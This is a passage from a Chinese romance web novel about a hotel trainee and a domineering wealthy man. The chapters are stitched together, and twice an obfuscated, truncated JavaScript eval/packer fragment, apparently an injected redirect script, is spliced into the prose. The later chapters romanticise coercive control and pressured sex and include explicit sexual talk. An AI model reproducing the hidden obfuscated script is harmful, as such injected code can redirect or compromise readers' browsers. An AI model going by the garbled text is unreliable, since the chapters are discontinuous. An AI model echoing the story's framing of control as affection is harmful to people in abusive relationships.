“萦萦,对不起,我不该把你牵扯进来的,都怪我脾气总是收不住,我都怀疑我可能不适合干这行了。” 孟尘萦问她伤着没。 唐书哭着说:“手被他掐疼了,不过老娘反应快,他要打我,我就用水杯呼了下去。” 孟尘萦哭笑不得,从储物柜里拿药给她喷。 唐书还在念叨:“你都不知道施好谦嘴多毒,说话太难听了,就怕你抢了他的正式工名额。” “现在怎么处理,刘姐怎么说?” 唐书道:“刘姐去医院看施好谦了,也不知道什么时候回。” 话音才落,刘素华就垮着脸进来,一阵劈头盖脸道:“你还有脸诉苦,你把施好谦的头打破了,人家现在要告你。” “告我?”唐书脸刷白,“刘姐,这怎么办啊?” “能怎么办?施好谦说他不会放过你,即使这个工作保不了他也要拉你下水。” 唐书这下是真急了,刚毕业的大学生哪经过这些,眼下不仅被告,工作很有可能也没了。 她缠着刘素华给她想办法。 刘素华也无能为力,“小员工之间的事上面不会管,闹大了不过一句自己解决,现在施好谦摆明了不想放过你。” 作为主管,刘素华不能太偏心,她不好说太多,出去了。 唐书委屈地落泪,哭到脸肿了。 孟尘萦听明白了,刘素华没说的后半句是什么意思。 施好谦现在就是要把事闹大,要上面注意到他,或许激怒唐书对他出手,也是他计划里的一笔。 “萦萦……” 孟尘萦握着她手,安慰道:“书书,你先等等,我给你想办法……” “你又有什么办法呢。唉。” - 唐书和施好谦的问题,突破口在梁嘉序。 施好谦的目的很简单,他想把事闹大,让上面的人注意到他这个员工,他想要这个正式工的名额。 可他显然打错了算盘,弄了这一出闹剧,颂曼德也不会插手。 没有哪个酒店想要会闹事的员工,更何况颂曼德的考核标准一向很高。 孟尘萦不确定颂曼德归不归梁嘉序直接管理。 他那段时间时常住在酒店,看起来并非是酒店的负责人。 孟尘萦之前有听刘姐说颂曼德有专责人来打理,梁嘉序幕后掌管的是其他产业,涉及颇多。 颂曼德,大概是他闲暇时来休憩的胜地而已。 他会管这些试用工的事吗? 孟尘萦不知道。 但她想赌一把。 唐书是因为她才惹了这些事,现在不仅要吃上官司,还很有可能丢了工作,她怎么能当没看见? 况且还有周初皓的事…… 重重问题,最终指向的只有一个人。 ——梁嘉序。 自除夕之后,梁嘉序没再主动联系过她。 她也没把握,他对她的那点逗着玩的兴趣,还有几分存留。 孟尘萦主动找到前两次带她上顶层的那位黑衣助理。 助理给的回答的是,梁嘉序不在酒店。 “那他什么时候过来?” 助理回道:“不太清楚,梁先生有另外的休憩处,以往来颂曼德的时间也不多。” 孟尘萦瞬间蔫了。 那助理打量她几眼,又提醒:“孟小姐,从梁先生回国入住颂曼德起,只有你一个人上过顶层。” – 当晚孟尘萦回了向阳路26号,周初皓正在院子外等她。 约莫一周没见了,周初皓瘦了许多,无精打采的,这幅样子把孟尘萦也吓到。 “初皓哥哥,你是多久没休息了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看了下时间。 凌晨三点。 睡也睡不着了,孟尘萦干脆玩手机,鬼使神差地,她点开【躺尸】的标签找到了梁嘉序。 犹豫了会儿,戳开他朋友圈。 果不其然,朋友圈一条都没有,干干净净。 但让她意外的是,梁嘉序的朋友圈背景封面竟有一张图。 图中景色优美,看起来像是一座庄园。 他拍摄的是一只在花圃里的蝴蝶。 孟尘萦心猛地跳动一下。 她目光不自觉被这只蝴蝶吸引,因为她从未见过这么美丽的颜色。 不是普通蝴蝶,她记得曾在书上看过记载。 这类品种的蝴蝶,极其珍稀。 不知怎么,她忽然就想起四年前去国外见周初皓那天,为他准备的生日惊喜。 她小时候喜欢蝴蝶的元素,觉得蝴蝶很美,那双翅膀更是她所着迷的存在。 她记得,那天是周初皓二十三岁的生日,她为了给他一个惊喜,特地把自己打扮成蝴蝶。 却没想到,那天第一个进到包厢的人是梁嘉序。 昏暗中她没看清人。 她当着男人的面跳了支涟云人才会的舞蹈。 舞步是江南人拿捏到极致的柔软,她穿了蝴蝶的元素,在昏暗中翩翩起舞。 最后她又就像小时候那样,扑腾着翅膀扑到男人怀里,在他耳边说了句生日快乐。 后来她才知道因为乌龙,惊喜弄错了人。 那是她第一次见梁嘉序。 意识到抱错人,她慌张后退道歉。 梁嘉序暗沉的眸子捕住她,淡笑说:“今天也是我生日,你的祝福,我收下了。” 在深夜寂静时分,孟尘萦想起了和梁嘉序的初次见面。 这几年她觉得极其模糊的场景,似乎也在这一刻清晰了起来。 孟尘萦收回思绪,点开他的封面大图。 下一秒,那张缩小的封面背景,一下拉大。 她这才清晰看清楚被遮住的下半截。 这是一个大型花房。 花房的外观结构设计,如同一个鸟笼。 那被困在花房的蝴蝶,就像被困在了鸟笼里,无法逃脱。 孟尘萦心抽搐了一下。 脸色惨白。 连忙从梁嘉序朋友圈里退出来。 后半夜睡觉时,她仍心有余悸。 12. 第 12 章 孟尘萦在颂曼德的最后一天见到了梁巷明。 自从那次之后,梁巷明就没来过颂曼德了,也没有寻过她的麻烦。 在酒店大厅这样意外撞见,她本想绕道而行,没想到梁巷明特地走来喊住她。 “孟小姐。” 梁巷明摘下鼻梁上的墨镜,笑着同她打招呼:“有些日子没见了,你近来过得可好?” 中年男人脸上堆笑,但笑意是不达眼底的。 孟尘萦自然不会觉得他是好心来同她‘叙旧’,低声回答:“挺好的,多谢梁总关心。” “上次你放跑的那个女人,她有联系你吗?” 孟尘萦没回答。 梁巷明替她接话,“没有吧?你可是救了她一条命,她也不想着报答,也不怕你被我报复了,啧啧,这么没良心的人,改明儿我找出来了,一定要替孟小姐骂她几句。” 孟尘萦垂眸:“梁总,没什么事的话,我要去工作了。” “去吧,你也别这么怕我,你是阿序的人,我这老家伙哪儿敢动您呐。” 孟尘萦脚步匆匆离去,身后的阴阳怪气她不敢再听。 颂曼德的后花园有一处休憩之地,只有酒店的员工知道的场所,孟尘萦趁还没到上班时间,便悄悄溜到了此处。 眼前花园美景,让她自然而然就想到了昨晚看到梁嘉序朋友圈的那张封面背景。 那张图片中的花园比这儿还要美得多。 四周却罩着如同鸟笼。 她记得,笼子的门没有关。 那只蝴蝶,她早上特地去查了下,是珍稀的晶闪蝶。他养的那只,具体名称她还没查到是晶闪蝶的哪类亚种,但总归很少见。 蝴蝶被豢养在那样的花房里,也不怕跑了。 主人该是多有自信。 她想起梁嘉序看她时,那双幽深的眼睛。 像站立的鹰,立于顶端,那双眼睥睨天下,又像翱翔的鹰,展开双翅,轻易便能将自己想要的叼回腹中。 还有半个小时开工,孟尘萦坐在这吹风,意外接到了周初皓的电话。 听筒那边不是周初皓的声音,是他同事。 “你是初皓的女朋友吗?” 孟尘萦问他发生什么事了。 同事道:“没什么,周初皓几天没休息好,今天在办公室晕倒被送去医院了,我想说住院这事还是要通知他身边的人比较好,翻他通话记录发现他跟你这个女朋友联系的最频繁。你方便现在来医院看他吗?” “我马上就来。” 询问了医院名,孟尘萦换了身便服坐车前往。 周初皓同事来医院门口接,特地带她去病房,边说:“周初皓工作压力挺大的,我们都看出来他很拼,上次我问他为什么,他说想给女朋友一个更好的生活。他是真的很爱你。” 孟尘萦面露急色,“医生怎么说的?” “医生说是长时间高度紧绷休息太少导致的昏迷,没什么大问题,在医院休息打几天吊水就好。” 刚抵达楼层,同事接了一通电话,指了下病房让她自己进去。 孟尘萦站到病房前,正欲敲门时,被里面的谈话声吸引了注意。 “初皓哥哥,我都说了让你别这么拼,梁嘉序不见你,那个合同不签不就成了?就那么重要吗?” 她听出那是阮兮的声音。 周初皓轻声说:“当然重要。阮兮,你别劝我了。” 阮兮拉着他病床的被子,嘟哝道:“那如果让梁嘉序签下字的要求是你办不到的,你怎么办?” “他想要什么,我都会给他,只要他愿意签字。” “你啊,你这话说的也不怕打脸,你什么东西梁嘉序没有?我打个比方啊,假如梁嘉序要你女朋友,你会给吗?” 她手按在门把上许久没动。 周初皓沉默了几秒,那几秒里,没人知道他在想什么。 随后他皱眉道:“不要开这种玩笑。” 阮兮轻哼一声:“少说话吧你,赶紧躺着休息。” 两分钟后病房门被敲响,有人推开,周初皓看过去,见来人是同事,有点失望。 同事笑道:“这么看我干什么?你女朋友怎么不在?” 周初皓诧异问:“她来过了吗?” 同事一脸惊讶,“我刚接了个电话,让她自己进来啊,没进来吗?” - 从医院出来,孟尘萦接到了周初皓的电话。 “萦萦,你来医院了?” 孟尘萦轻声说:“嗯,刚在门口忽然接到工作电话,让我赶紧回颂曼德。” 周初皓语气生硬:“你都到门口了,难道不能来见见我吗?你知道我多累么?医生说要我在医院好好休息,可我就想看看你。” 他说话的同时,孟尘萦还听到阮兮不满的轻哼一声。 像女朋友吃醋了似的。 孟尘萦抱歉道:“可我这边也的确很忙,等我忙完就来医院看你,好吗?” 周初皓问:“萦萦,你真的爱我吗?” 孟尘萦望着穿梭的车流,没说话。 周初皓苦笑道:“从很小的时候,你就喜欢跟在我后面玩,我心里清楚是因为你在家里觉得很尴尬,你融入不了你妈妈的新家,所以只能把我当做精神支柱,你对我有哥哥的依赖,有朋友的友情,是不是唯独没有男女的情爱?” “半年前我跟你表白,我说我喜欢你,想照顾你,你想了很久才答应跟我交往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁嘉序笑意浅淡:“领证没?” 孟尘萦轻声:“没。” 梁嘉序不疾不徐问:“是单身么?” 孟尘萦心一跳,呼吸放轻:“有男朋友。” 梁嘉序懒散地往后一靠,坐姿松弛,下颌微抬,那双毫无人情味的眼神轻描淡写地将她吞噬,轻笑着,凉薄启唇:“去分干净,再来找我。” 40-50 第41章 第 41 章 没停下过 海城的工作处理完毕, 两人隔日便返回京市,再回到璟兰园,孟尘萦迫不及待去找自己的三只小猫。 分开两天, 她真是想念得很。 麦芽糖也养好了身体,眼下活蹦乱跳,一个健步直接跳到孟尘萦的腿上, 她扑在沙发上跟几只猫闹,没一会脸就闹得通红。 梁嘉序从玄关走来, 单手扯开领带,露出冷白的锁骨。 他坐过来, 娴熟地拍她臀部, “不累么?” 孟尘萦背脊缩了下,把屁股挪开, 坐起身抱着猫咪说不累。 他似笑非笑,倾身过来, 把手指搭在她领口, 意图明显。 孟尘萦背抵在沙发垫那, 连忙改口:“累的,很累。” 梁嘉序垂眸, 温声哄道:“不累的。” 她按住他作乱的手, 小声说:“我不想做了……” “为什么?”他平心静气问。 孟尘萦睁着水润的眸子, 几分羞耻和恼怒,“昨晚有过了,而且真的累。” 他耐着性子:“就一次。” “不好……” 她情绪不满:“你一次也要很久,我才不。” 梁嘉序眼里的笑失去,声音低沉:“不喜欢跟我做.爱?” 孟尘萦没敢点头说实话,支支吾吾岔开话题, 他把她脸掰过来面对他,“孟尘萦,我们在谈恋爱不是?跟男朋友做.爱是再正常不过的事儿。” 她垂眸,不开心地嘀咕:“可我不适应啊。” “哪儿不适应?”他把她抱在怀里,打算跟她好好探讨这个问题,孟尘萦也豁出去了,小声琢磨道:“咱们可能身体不合称。” 梁嘉序吻了下她泛红的脸颊:“哪儿不合称?没给你快乐?” “你不挺爽的么?每次夹那么紧,水也多。” 他总是说这种直白的话,孟尘萦都羞耻得不行,她有意避开那些话题,想了想,还是说清楚点:“你那儿跟我那儿可能不合适……” 她耳尖通红,像有点恼怒又不敢真正发怒的猫咪。 “每次进来真的很难受。” 梁嘉序把她脸抬起来,认真问:“那你跟谁合称?” 他没提出那个名字。 但孟尘萦想到了周初皓。 她就交过两个男朋友,还没跟周初皓发生过关系,哪里知道啊?不过周初皓比梁嘉序稍微矮点,也没他那么健壮的身形。 她没说话,但梁嘉序看出她眼里的意思了,阴恻恻地道:“孟尘萦,你可以啊。” 他忽然变得恶狠狠:“在我面前敢想别的男人。” 孟尘萦哪敢真的惹怒他,连忙解释:“我没有想到别人。” 梁嘉序直接把她扛到肩上抱回二楼。 她尖叫一声,疯狂拍打他的后背,“梁嘉序,你放我下来!” 梁嘉序把她放到床上,单手解衬衫纽扣。 他早就失了耐心跟她讨论一些有的没的,“不合称是么?” 他屈膝上床,靠近:“那就做到你适应我的尺寸为止。” 孟尘萦慌张往后退,背脊抵在床头,生病那天被他抵在这儿的事她还没忘,那晚荒唐的记忆又涌了上来。 “阿序……” 她揪着床单,试图跟他好好沟通:“你给我一点时间好不好?我们正在交往,以后有的是时间慢慢磨合。” 梁嘉序像堵墙在她面前,眉梢微微轻挑:“又跟我示弱来了,孟尘萦,你心里头想什么我清楚得很。” 孟尘萦眼睫一颤。 但很快,梁嘉序也改变了态度。 “你总说我不尊重你,如果我愿意跟你慢慢磨合呢?” 孟尘萦抬眸:“什么?” 梁嘉序:“像你说的,我们有的是时间。” 他翻身把她拥入怀里,下巴搭在她肩膀上,气息洒落,声音有点黏糊:“孟尘萦,我这辈子就没听过谁的意见,你是头一个。” 孟尘萦怔怔地,看向他宽阔的背,听他声音在她耳畔回荡。 是轻缓,温柔的语调。 她的心,在她不知不觉中,一点点放松。 孟尘萦尝试着伸手拥抱他的窄腰。 她的主动,让梁嘉序僵硬了一瞬,很快,笑意从唇角弥漫。 他的吻轻柔贴上她的后颈。 怜惜且克制- 虞南星打电话来约孟尘萦出去玩的时候,梁嘉序正好在旁边。 她在他面前没有任何秘密和隐私,就连跟好朋友的对话,都必须开外放,这次同样。 电话挂断,她先询问梁嘉序,“我能跟南星晓语出去吃饭吗?” 怕他不同意,她又连忙保证:“你放心,南星不会再做那件事了,我们就是普通的聚个会,只有我们仨,没有外人。” 梁嘉序幽幽看她:“我什么时候不准你去了?” 他看了眼腕表:“把午饭吃完,休息一个小时再让司机送你去。” 完了他又补一句:“我晚点也要出门,一道。” 孟尘萦笑盈盈道了声好。 下午三点,孟尘萦赶到了约定的场所。 虞南星特地出来接她,正好看到孟尘萦从车上下来,冷不丁和梁嘉序对视了一眼,顿时后背发麻。 等车开走了,她才敢上前挽着孟尘萦进咖啡厅,“今儿怎么是梁公子亲自送你来的?早知道他过来,我就让晓语来接你了。” 孟尘萦说他顺路,一会儿要去公司处理工作。 虞南星紧张问道:“你男人没记着我那个仇吧?” 她摇头:“应该没有,他要真记仇,就不是这样了。” “哪儿样?” 孟尘萦回想了祝屿森的事…… 她含糊道:“总之肯定没记你仇,不过也不能怪你,算了还是别提了,都过去了。” 虞南星捂着胸口安抚自己:“那我就放心了。” 三人碰面,点好咖啡和甜品,虞南星招呼着拍了几张照,趁她在修图,钱晓语忽然想起孟尘萦要开甜品店的事。 “还有多久装修好?我都迫不及待给我们萦萦光顾了。” 孟尘萦回想说:“大概还有一个多月吧。” 她对这甜品店的事不是太上心,那是梁嘉序强行要给她开的,即使开了个店,约莫也只是让她挂名罢了,以他的性子,他不会让她辛苦工作的。 非要开这甜品店,不过就是介意当时她在仙河镇跟祝屿森联合开店的事。 这男人心胸格外狭窄。 “真好啊,萦萦都要当老板了。”钱晓语一脸羡慕道:“我也想有个男朋友愿意出资给我在地段最好的商场开店。” 孟尘萦戳她肩膀:“这世上没有白吃的午餐。” 钱晓语不解地问:“什么意思啊。” 孟尘萦没有多言。 她瞳仁逐渐睁大,“是梁公子怎么着你了吗?” 孟尘萦咬着吸管喝咖啡,淡声说:“没,我和他现在算是正经的在谈恋爱。” 只是这段感情到底是强迫来的,说起来是正经恋爱,但到底是不是那回事,她和梁嘉序都心知肚明,只是两人都没有戳穿那层窗户纸。 这段时间梁嘉序有收敛了些,对她的态度没前段时间那么蛮横霸道,偶尔也会听取她的意见,开始试着尊重她。 就连床.事,他也会尊重她的想法。 虽然也没停下过,但至少没再没完没了的弄她。 虞南星现在是不敢惹梁嘉序不痛快了,她不打算发表意见,安慰道:“萦萦,你往好的地方想,跟梁公子这样条件的男人谈恋爱,不是比那种普男好很多?钱也舍得给你花,身心又干净。” 孟尘萦神色微怔,忽然想起那晚梁嘉序说的话。 他身心干净,没恶毒公婆,没刻薄弟妹,更没未婚妻和暧昧对象,哪儿让她这么抗拒了? 她弯唇笑笑,也没反驳,没迎合。 只是目前,她能感觉自己的确有点儿要认栽的苗头了。 她最近有这样的想法,暂时把自己放在女朋友的位置,跟他好好谈个恋爱也没什么损失。 或许等到梁嘉序哪天对她腻味后,她才能真正自由。 姐妹三人在咖啡厅聊近况聊了将近两小时,约莫五点左右,虞南星接了一通电话,说道:“一会儿我男朋友过来接我,我介绍你们认识。” 男朋友?这事就连跟虞南星在同居的钱晓语都很意外,“南星,你什么时候交男朋友的?” 孟尘萦猜测问:“是边萧吗?” 虞南星神神秘秘一笑:“你们一会儿就知道了。” 几分钟后,咖啡厅门口迎进来一男人。 一身潮牌休闲服,打眼望去便是富贵公子哥。 随着男人的走近,孟尘萦才认出这人是谁。 怎么会是谭延晋? 谭延晋看到孟尘萦也有几分意外,主动打招呼,“孟小姐,原来你就是南星的好朋友?真是巧了。” 孟尘萦微微拧眉,礼貌地跟对方点了下头。 谭延晋搂着虞南星的腰坐下来,一扫面前二人,吊儿郎当问:“晚点请你们吃个饭吧,也多谢你们照顾南星。” 钱晓语说好啊。 谭延晋又看向孟尘萦,“要叫上阿序吗?我给他打个电话。” 孟尘萦摇头:“不用了,他晚上好像还有别的应酬。” 谭延晋挑眉:“那真是可惜了。” 出了咖啡厅几人上了谭延晋的保时捷。 孟尘萦和钱晓语坐后面,望着驾驶座和副驾驶的二人,她紧拧的眉还没放下,没忍住悄悄给虞南星发了条消息。 【怎么跟他谈了?】 虞南星吻了下谭延晋的脸,见他得意一笑,再发动车子,随后她才回复孟尘萦消息:【怎么啦?谭公子不挺好的吗?】 孟尘萦想说,谭延晋和梁嘉序是一丘之貉,想劝虞南星离他远点。 虞南星又回复:【他跟梁公子才不一样呢,没有把我看管起来不给我隐私,也从不强迫我什么,更不会强制跟我同居,咱俩就是各取所需,他需要我了才会跟我打电话让我去陪他,我要是说分手,他也能马上同意的那种。】 【你放心吧,我心里有数。】 谭延晋找的是一家高档的法餐厅。 侍应生直接将他们领到单独的包厢里,进来后,谭延晋说出去抽烟,人就没影了。 看起来并不是太想跟虞南星的朋友们交流。 钱晓语品出来谭延晋的态度了,不爽地嘀咕道:“这还不如边萧呢,边萧虽然也是公子哥,但才没有这么高高在上的样子。” 虞南星捧着手机正在刷网页,闻言笑笑:“边萧只是我朋友,你要是看上了我介绍给你啊。” 钱晓语赶忙摇头,“别,我对他可没意思。” 虞南星见孟尘萦沉默,坐过去问:“萦萦,你这么不喜欢谭公子啊?” 孟尘萦没隐瞒她,“我认识的一个姐姐,之前就是他的女人,南星,这个谭延晋他对待感情就是玩玩而已的,他身边女人没断过,你千万不要付出真心了。” “嗐,你放心吧,指不定谁玩谁呢,他谭公子地位在那,我还能吃亏?我就等着他的关系把我送进娱乐圈捞好资源呢,倒时候进圈,我再一脚把他给踹了。” “好了,他不在咱们姐妹几个也自在,不是么?” 虞南星很聪明,对待男女之情也比她有经验,她应该不用太担心,孟尘萦觉得自己该说的都说了,她也不能勉强虞南星听她的。 虞南星一直想往上爬,想认识更多权贵人,谭延晋大概只是她的跳板而已。 侍应生送了餐食进来,没多久,谭延晋抽完烟也进屋了,笑容爽朗问她们美食好吃吗? 钱晓语和孟尘萦点头,又谢他的招待。 谭延晋抬着下颌,笑盈盈道:“孟小姐,你可要多吃点儿,阿序刚来电话知道你在我这儿,让我好好照顾你。” 孟尘萦垂眸:“多谢。” – 半途中,孟尘萦起身去了一趟洗手间,手机果然收到梁嘉序的消息。 是十分钟前发来的。 【吃点儿自己喜欢的,谭延晋那不用跟他客气。】 【跟朋友什么时候玩尽兴了,我再来接你。】 孟尘萦回了个好。 她还想问,谭延晋跟虞南星交往的事,是他授意的么? 她跟自己好姐妹出来聚会,也要在他的眼皮子底下么? 她想了想,最终还是止住了这个疑问。 孟尘萦站在洗手池前,挤了几泵洗手液,慢条斯理的洗手,望着镜子里的面容,她又想起了舒锦。 舒锦去了一个新地方生活,前不久还给她发了消息,简单描述了自己的生活,说现在很自在幸福,还认识了不少的新朋友,问她过得怎样。 孟尘萦回复说,一切都好。 从洗手间出来,走在昏暗的楼道间,孟尘萦正打算回包厢,行过转角,迎面撞上一男人。 两人冷不防碰见,周初皓面露愕然,孟尘萦同样也觉得尴尬。 她往边上退开,给他让出一条路。 没想到周初皓又挡在她面前。 孟尘萦抬眸看他。 她了解周初皓,他这个举动,显然是打算拦下她有话说。 周初皓主动打招呼,温润一笑:“好久没见了。” 孟尘萦点头,“你最近好吗?” 周初皓淡笑道:“还可以,烽耀眼下已经被我吃掉了大半。” “这样啊……”孟尘萦恭喜他:“挺好的。” 她礼貌后退,打算转弯走人,周初皓又喊住她,“我现在得到的这一切,应该感谢梁先生。” 孟尘萦转回身,目露疑惑。 周初皓双手插在风衣口袋里,淡声道:“你难道不想知道,梁嘉序为了拆散我们,都做了些什么吗?” 第42章 第 42 章 休想再离开半步。 钱晓语在这包厢里坐立难安, 面前那对情侣旁若无人亲密着,她头都快埋碗里去了,疯狂在桌底下捧着手机给去洗手间的孟尘萦发出求救信号。 【萦萦, 你快回来,我一个人在这儿好尴尬啊。】 【快来救我!】 孟尘萦秒回一条消息:【我临时有事要先走了,麻烦你帮我跟南星说一声抱歉。】 钱晓语抬头看向虞南星, “南星,萦萦说她有事走了。” 那正在接吻的二人被这句话打断情绪, 虞南星擦了擦唇瓣的湿润,惊道:“为什么啊?这饭还没吃完呢。” 谭延晋意犹未尽地啧啧两声:“我大概知道为什么。” 很不巧, 他刚出去抽烟, 看到了周初皓。 又很不巧,他也见过周初皓几面, 自然知道他是孟尘萦的谁- 孟尘萦出了法餐厅,在路边拦下一辆出租车。 她刚联系了刘素华, 问到了施好谦目前工作的地方。 司机问她去哪儿。 孟尘萦:“欢乐电玩城。” 晚上八点, 电玩城正是热闹的时间, 孟尘萦询问工作人员他们主管在哪儿,没多时, 便有人领她去见主管。 施好谦在办公室内咬着烟玩游戏, 日子过得好不潇洒。 手中游戏闯关失败的音乐一响, 施好谦气急败坏地把游戏机往沙发一砸,再抬头看到面前的人,楞了片刻。 “孟尘萦?你怎么来这儿了。” 孟尘萦礼貌地跟他打了个招呼,问他这阵子过得怎样。 施好谦懒散地耸肩,“虽然颂曼德的工作没了,但现在也不赖, 电玩城这儿也挺爽的,还没酒店那么多规矩。” 孟尘萦微笑:“是吗?那挺好的。” 施好谦似乎不想跟她交谈,直接赶人了,“你要玩游戏去外边,我这是办公室,出去吧。” 孟尘萦问他:“为什么这么着急赶我?我们之前怎么说也算同事吧,几个月没见了,叙旧一下也不行?” “我跟你有什么好叙旧的,做同事那会也不熟。” “不熟啊。”孟尘萦静静地望着他:“既然不熟,你怎么敢乱编排我,给我造黄谣?” 施好谦脸色阴沉:“你大晚上来这儿,就是为了找我麻烦?” “滚出去!” 他气愤动手赶人。 孟尘萦被他推起来,踉跄一步,伸手扶住办公桌前的椅子,镇定问:“你对我动手,不怕梁嘉序找你麻烦?” 施好谦手骤然一僵,被她唬到,下意识松开对她的推搡,窝囊地说:“我不知道你什么意思……” 孟尘萦转过身,语气轻缓问:“当初你和唐书斗殴之后想要告她,真的是你自己的想法吗?” 施好谦眼神闪躲,“我不知道你到底想说什么,我跟你也没什么好说的。” 既然不能对孟尘萦动手,他干脆就自己走。 孟尘萦伸手抓住他手腕,不准他走,“不是你想告唐书,对吗?” 施好谦说是他自己想告,“唐书把我头都打破了,我凭什么不能告她?” 孟尘萦冷静道:“你那时候那么想要那个正式工的名额,怎么会想要把跟同事斗殴的事闹大?你心里应该很清楚,没有哪个五星级酒店想要会闹事的员工,你不可能为了一个小小实习生的矛盾,把自己眼看就到手的正式工名额给推出去。” 施好谦紧咬着牙:“不知道你在说什么,烦死了。” “你不是梁先生的女人吗?现在日子一定过得很潇洒,颂曼德都是你的了吧?干什么非要跟我过不去?” “我没有跟你过不去,我只是想要知道一个答案而已。” 施好谦实在被她缠得不行,索性豁出去了,“是啊,当初我给你造黄瑶,又跟唐书斗殴把事闹大后,梁先生都亲自来警告我了让我不要编排你的事,你满意了吗?至于要告唐书,我自己都不知道为什么,梁先生跟我提出这件事的时候,我都觉得匪夷所思,告一个穷实习生有什么用啊?但谁叫梁先生给的多啊。” “真不知道你在计较什么,结果是,唐书不是没被告吗?” 施好谦被吵得心烦,把手甩开,自己跑出办公室。 果然。 果然是她猜测的那样。 孟尘萦呆滞的,站在这张椅子旁,望着墙壁上挂着的时钟。 还差一分钟就八点了。 她的电话在八点准时响起。 是梁嘉序来电。 孟尘萦按了接听,他问她在哪儿,玩尽兴了吗? 孟尘萦轻声:“临时有点儿别的事就出来了。” 梁嘉序问她具体位置。 电话挂断后,孟尘萦走出电玩城,才发了个定位给他。 她找了个休息椅坐着等,晚上正是车辆高峰期,约莫半小时后,梁嘉序才接到她- 上车梁嘉序就将她搂怀里,整理她被晚风吹乱的长发,“怎么来这儿了,晚饭没吃?” 孟尘萦说看到了个熟人过来办点事。 梁嘉序没问她是什么事,反而更关心她吃好了没,“一会儿再回那家法餐厅,我陪你吃点儿。” 孟尘萦很乖地嗯了声。 他黏黏糊糊地把她抱在怀里,问她今儿开心吗,都玩了些什么,她都如实回答了。 等再抵达那家法餐厅,已是快九点。 侍应生似乎认识梁嘉序,恭敬地邀请他去一个单独的包厢。 行过转角处时。 孟尘萦忽然看见周初皓的背影从这条路的路口消失。 孟尘萦眼睫一颤,看了身旁男人一眼,梁嘉序应该也看到了周初皓,神色却并无异常。 好像走过去的,只是一个与他们无关紧要的路人。 晚饭在这家餐厅又吃了一遍,再回到璟兰园已经很晚。 孟尘萦每次吃饱就会困。 在途中便伏在梁嘉序怀里睡着了,等她再睁眼醒来,已经躺在了卧室的床上,她被换了身干净的睡裙。 可身旁却没有那个总是搂着她睡的男人。 孟尘萦从床上拥着被子坐起身。 屋内漆黑一片,只有清冷的月光,从阳台那投入。 她望过去,一具晦暗的背影撞入她的视线。 梁嘉序正在阳台抽烟。 站姿闲散不羁。 他的气质冰冷,带着与生俱来让寻常人腿软的压迫感。 孟尘萦一直认为,梁嘉序是最适合黑色的男人。 他好像天生就适合穿这个颜色,黑色的衬衫,黑色的睡衣,穿在他身上显得凌厉又性感。 他究竟是个怎样的人呢? 这个问题,从她在京市跟梁嘉序有了交集后,时常会想的一个问题。 面对自己想要的东西,他会干脆利落直接出击,无论是抢或是诱,只要能得到手,便会不择手段。 恋爱期间,他霸道却也不失温柔,她伤心生气了会放下身段哄她,会对她很好,也很照顾她,关于亲密事,他会给她很好的体验。 但他大多时候也根本不尊重她,不允许她反抗他,夺走她的自由,夺走她的隐私,还曾经夺走她的交友权利,欺负她,欺负她身边的人,时常拿她在意的一切威胁她。 甚至,为了让她主动找他低头,不惜破坏她原本的姻缘,利用她同事的未来,只为等她上钩。 他费尽一切,只是想得到她吗? 她不太懂。 究竟是为了什么。 梁嘉序真的就那么喜欢她吗? 她也不知道。 他从没说过喜欢她的话,只说过想要她,不准她走。 因为晚上从周初皓和施好谦那得知了真相,她这会儿心里还沉闷得很,她也没打算质问梁嘉序这些事是不是他做的。 毕竟答案已经摆在了明面上。 质问了又如何? 其实并不重要。 得到他一个承认的态度,能改变什么吗? 不能。 她还不是只能留在他身边,等他什么时候提出说不要她了。 孟尘萦看他背影,想事情想到出神,直到困倦袭来,她才拥着被子再度躺下。 在她躺下没多久,梁嘉序捻灭烟头从阳台走出来。 他立在床边,望着她白皙熟睡的小脸。 暗沉的眸色泛起意味深长的波澜- 甜品店装修进度已经差不多了,孟尘萦今天正好想亲眼去看看成果,白天梁嘉序有个紧急会议要开,很早便去了公司,下午只能让司机亲自送她去商场。 检查了店面,确定都没什么问题,孟尘萦很满意。 下午四点,孟尘萦正要从商场出来,忽然收到江静灵发来的微信。 【小萦萦,别忘了今天是什么日子。】 孟尘萦看了下日历,立刻顿悟。 很快回了句:【知道,是他生日。】 江静灵:【嘿嘿,祝你们有个美好的夜晚。】 【温馨提示:阿序今年是第一次只跟一个人过生日哦。】 孟尘萦不解:【什么意思呢?】 江静灵:【那家伙,每年只要生日他爸妈都会给他大肆操办一回,有时在国内有时在国外,但每年都会有许多人为他庆生,他今年没出国,我从姐夫那没打听说要回梁家办生日,多半猜到是想跟你一起了。】 江静灵这番话,让孟尘萦想起初见梁嘉序的那一年。 那年她是去伦敦找周初皓为他庆生,但周初皓临时被朋友拉到梁嘉序的生日聚会里去了。 她当时不知情,以为那个包厢是周初皓订的。 她提前赶到,还准备给他生日惊喜。 但阴差阳错,导致同一天生日的梁嘉序最先进入包厢。 那时候,这段孽缘就此定下。 孟尘萦路过一家甜品店时,被摆在橱窗里的蛋糕模型吸引了。 这个蛋糕设计虽单调,却不失美感。 她站在橱窗前微微出神。 直到有店员出来询问她是不是想要订一份生日蛋糕。 孟尘萦并没及时回答,那店员很礼貌很耐心,等她的回复。 片刻后。 她不知是为了什么妥协。 大概是,她心里对梁嘉序再有埋怨,还是不想让他在生日这天,什么惊喜都得不到吧。 梁嘉序似乎从出生时,便得到了老天格外的宠爱,他年年都过了一个热闹的生日,总不能跟她过生日这天,让他惨兮兮吧。 生日这天要是什么礼物都收不到,也挺可怜的。 虽然梁嘉序应该不缺送他礼物,给他惊喜的人。 但他今天身边只有她在。 “我想要现成的蛋糕,有吗?” 那店员微笑回答:“有的,小姐跟我进来挑选就好。”- 孟尘萦提着精心挑选的蛋糕,沿着街边漫步。 身后有辆黑色的车子一路跟随。 